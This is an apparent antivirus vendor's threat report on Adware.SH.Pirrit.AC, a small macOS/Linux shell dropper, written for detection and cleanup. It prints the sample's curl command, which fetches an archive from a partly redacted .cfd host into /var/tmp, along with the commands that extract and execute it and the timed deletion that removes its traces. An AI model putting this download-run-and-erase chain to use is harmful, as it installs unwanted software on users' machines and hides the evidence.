Adware.SH.Pirrit.AC

December 27, 2023
 Analysis by: Neljorn Nathaniel Aguas
 ALIASES:

MacOS:Pirrit-DU [PUP] (AVAST)

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Adware

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Adware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

326 bytes

File Type:

Other

Initial Samples Received Date:

20 Dec 2023

Arrival Details

This Adware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Adware adds the following processes:

  • curl -s -L -o "/var/tmp/Pipidae.tgz" "http://{BLOCKED}.cfd/static/s3/exec6625/{BLOCKED}.tgz"

Other Details

This Adware attempts to access the following websites to download files, which are possibly malicious:

  • http://{BLOCKED}.cfd/static/s3/exec6625/{BLOCKED}.tgz

It does the following:

  • It extracts the downloaded file then saves it with the following filename:
    • /var/tmp/Pipidae/Pipidae

It executes the downloaded file using the following commands:

  • cd "/var/tmp/Pipidae/"
    ./Pipidae -ct cX

It deletes the following files to remove its traces in the system:

  • Deleted after 120 seconds:
    • /var/tmp/Pipidae
    • /var/tmp/Pipidae.tgz

  SOLUTION

Minimum Scan Engine:

9.800

SSAPI PATTERN File:

2.687.00

SSAPI PATTERN Date:

21 Dec 2023

Scan your computer with your Trend Micro product to delete files detected as Adware.SH.Pirrit.AC. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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